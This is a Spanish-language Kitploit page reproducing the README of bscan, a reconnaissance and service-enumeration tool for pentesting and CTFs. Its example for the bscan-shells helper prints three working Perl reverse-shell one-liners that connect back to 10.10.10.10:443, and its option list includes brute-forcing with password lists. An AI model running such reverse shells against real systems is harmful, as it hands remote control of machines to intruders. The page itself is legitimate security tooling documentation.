Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
bscan — una herramienta asíncrona de enumeración de objetivos | Kitploit
Herramientas/GitHubGitHub/welchbj/bscan
ReconocimientoMapeo de RedesGeneración de PayloadsEscaneo de PuertosRecopilación de InformaciónCTFPruebas de Penetración
GitHubwelchbj/bscan

bscan

una herramienta asíncrona de enumeración de objetivos

Ver Repositorio
250342hace 7 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

bscan

:mag: una herramienta asíncrona de enumeración de objetivos :mag_right:

travis status pypi built for kali linux python version


Sinopsis

bscan es una utilidad de línea de comandos para realizar recolección activa de información y enumeración de servicios. En esencia, bscan lanza de forma asíncrona procesos de utilidades de escaneo bien conocidas, reutilizando los resultados del escaneo en una salida de consola resaltada y una estructura de directorios bien definida.

Licencia

bscan está destinado únicamente a fines educativos y eventos como CTFs, y nunca debe ejecutarse en máquinas y/o redes sin un consentimiento previo explícito. Este código se publica bajo la licencia MIT.

Instalación

bscan fue escrito para ejecutarse en Kali Linux, pero no hay nada que lo impida inherentemente de ejecutarse en cualquier sistema operativo que tenga las herramientas adecuadas instaladas. Hay algunos tipos diferentes de versiones empaquetadas y formas de instalarlas.

La forma más sencilla de empezar es descargar la versión ejecutable de un solo archivo adecuada para su sistema operativo (no requiere instalación de Python):

root@kitploit:~
# en Linux (ej., Kali)
wget -O bscan https://releases.brianwel.ch/bscan/linux

# en Windows
powershell -c "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; wget 'https://releases.brianwel.ch/bscan/windows' -OutFile 'bscan.exe'"

# para descargar una versión específica, use el siguiente patrón
wget -O bscan https://releases.brianwel.ch/github/bscan/linux/0.1.4

También puede descargar la última versión empaquetada desde PyPI (tenga en cuenta que esto requiere una instalación existente de Python 3.6+):

root@kitploit:~
pip install bscan

Del mismo modo, puede obtener la versión más reciente desde el control de versiones:

root@kitploit:~
pip install https://github.com/welchbj/bscan/archive/master.tar.gz

Uso Básico

bscan tiene una amplia variedad de opciones de configuración que se pueden usar para ajustar los escaneos a sus necesidades. Aquí hay un ejemplo rápido:

root@kitploit:~
$ bscan \
> --max-concurrency 3 \
> --patterns [Mm]icrosoft \
> --status-interval 10 \
> --verbose-status \
> scanme.nmap.org

¿Qué está pasando aquí?

  • --max-concurrency 3 significa que no se ejecutarán más de 3 subprocesos de escaneo concurrentes a la vez
  • --patterns [Mm]icrosoft define un patrón de expresión regular personalizado con el cual resaltar coincidencias en la salida del escaneo generado
  • --status-interval 10 le indica a bscan que imprima actualizaciones de estado en tiempo de ejecución cada 10 segundos
  • --verbose-status significa que cada una de estas actualizaciones de estado imprimirá detalles de todos los subprocesos de escaneo que se estén ejecutando actualmente
  • scanme.nmap.org es el host en el que queremos enumerar

bscan también depende de algunos archivos de configuración adicionales. Los archivos predeterminados se pueden encontrar en el directorio bscan/configuation y tienen los siguientes propósitos:

  • patterns.txt especifica los patrones de expresión regular que se resaltarán en la salida de la consola cuando coincidan con la salida del escaneo
  • required-programs.txt especifica los programas instalados que bscan planea usar
  • port-scans.toml define los escaneos de descubrimiento de puertos que se ejecutarán en el/los objetivo(s), así como las expresiones regulares utilizadas para analizar los números de puerto y nombres de servicios de la salida del escaneo
  • service-scans.toml define los escaneos que se ejecutarán en el/los objetivo(s) por servicio

Opciones Detalladas

Esto es lo que debería ver al ejecutar bscan --help:

root@kitploit:~
usage: bscan [OPTIONS] targets

 _
| |__  ___  ___ __ _ _ __
| '_ \/ __|/ __/ _` | '_ \
| |_) \__ \ (__ (_| | | | |
|_.__/|___/\___\__,_|_| |_|

an asynchronous service enumeration tool

positional arguments:
  targets               the targets and/or networks on which to perform enumeration

optional arguments:
  -h, --help            show this help message and exit
  --brute-pass-list F   filename of password list to use for brute-forcing
  --brute-user-list F   filename of user list to use for brute-forcing
  --cmd-print-width I   the maximum integer number of characters allowed when printing
                        the command used to spawn a running subprocess (defaults to 80)
  --config-dir D        the base directory from which to load the configuration files;
                        required configuration files missing from this directory will
                        instead be loaded from the default files shipped with this
                        program
  --hard                force overwrite of existing directories
  --max-concurrency I   maximum integer number of subprocesses permitted to be running
                        concurrently (defaults to 20)
  --no-program-check    disable checking the presence of required system programs
  --no-file-check       disable checking the presence of files such as configured
                        wordlists
  --no-service-scans    disable running scans on discovered services
  --output-dir D        the base directory in which to write output files
  --patterns [ [ ...]]  regex patterns to highlight in output text
  --ping-sweep          enable ping sweep filtering of hosts from a network range
                        before running more intensive scans
  --quick-only          whether to only run the quick scan (and not include the
                        thorough scan over all ports)
  --qs-method S         the method for performing the initial TCP port scan; must
                        correspond to a configured port scan
  --status-interval I   integer number of seconds to pause in between printing status
                        updates; a non-positive value disables updates (defaults to 30)
  --ts-method S         the method for performing the thorough TCP port scan; must
                        correspond to a configured port scan
  --udp                 whether to run UDP scans
  --udp-method S        the method for performing the UDP port scan; must correspond
                        to a configured port scan
  --verbose-status      whether to print verbose runtime status updates, based on
                        frequency specified by `--status-interval` flag
  --version             program version
  --web-word-list F     the wordlist to use for scans

Herramientas Complementarias

El programa principal bscan incluye dos programas de utilidad (bscan-wordlists y bscan-shells) para facilitarle la vida cuando busque listas de palabras o intente abrir shells reversos.

bscan-wordlists es un programa diseñado para encontrar archivos de listas de palabras en Kali Linux. Busca en algunos directorios predeterminados y permite la coincidencia de nombres de archivo con glob. Aquí hay un ejemplo sencillo:

root@kitploit:~
$ bscan-wordlists --find "*win*"
/usr/share/wordlists/wfuzz/vulns/dirTraversal-win.txt
/usr/share/wordlists/metasploit/sensitive_files_win.txt
/usr/share/seclists/Passwords/common-passwords-win.txt

Pruebe bscan-wordlists --help para explorar otras opciones.

bscan-shells es un programa que generará una variedad de comandos de una línea para shells reversos con los campos target y port completados para usted. Aquí hay un ejemplo sencillo para listar todos los shells basados en Perl, configurados para conectarse de vuelta a 10.10.10.10 en el puerto 443:

root@kitploit:~
$ bscan-shells --port 443 10.10.10.10 | grep -i -A1 perl
perl for windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

perl with /bin/sh
perl -e 'use Socket;$i="10.10.10.10";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl without /bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Tenga en cuenta que bscan-shells obtiene estos comandos del archivo de configuración reverse-shells.toml. Pruebe bscan-shells --help para explorar otras opciones.

Desarrollo

Comience configurando un nuevo entorno de desarrollo e instalando los requisitos (usando virtualenvwrapper / virtualenvwrapper-win):

root@kitploit:~
# configurar el entorno
mkvirtualenv -p $(which python3) bscan-dev
workon bscan-dev

# obtener las dependencias
pip install -r dev-requirements.txt

Verifique el estilo y los tipos del proyecto (también se ejecutan en Travis):

root@kitploit:~
flake8 . && mypy bscan

Cuando sea el momento de empaquetar una nueva versión:

root@kitploit:~
# construir el ejecutable de un solo archivo
pyinstaller bscan.spec

# construir distribuciones fuente y wheel
python setup.py bdist_wheel sdist

# ejecutar verificaciones posteriores a la compilación
twine check dist/*

# subir a PyPI
twine upload dist/*
Descargar herramienta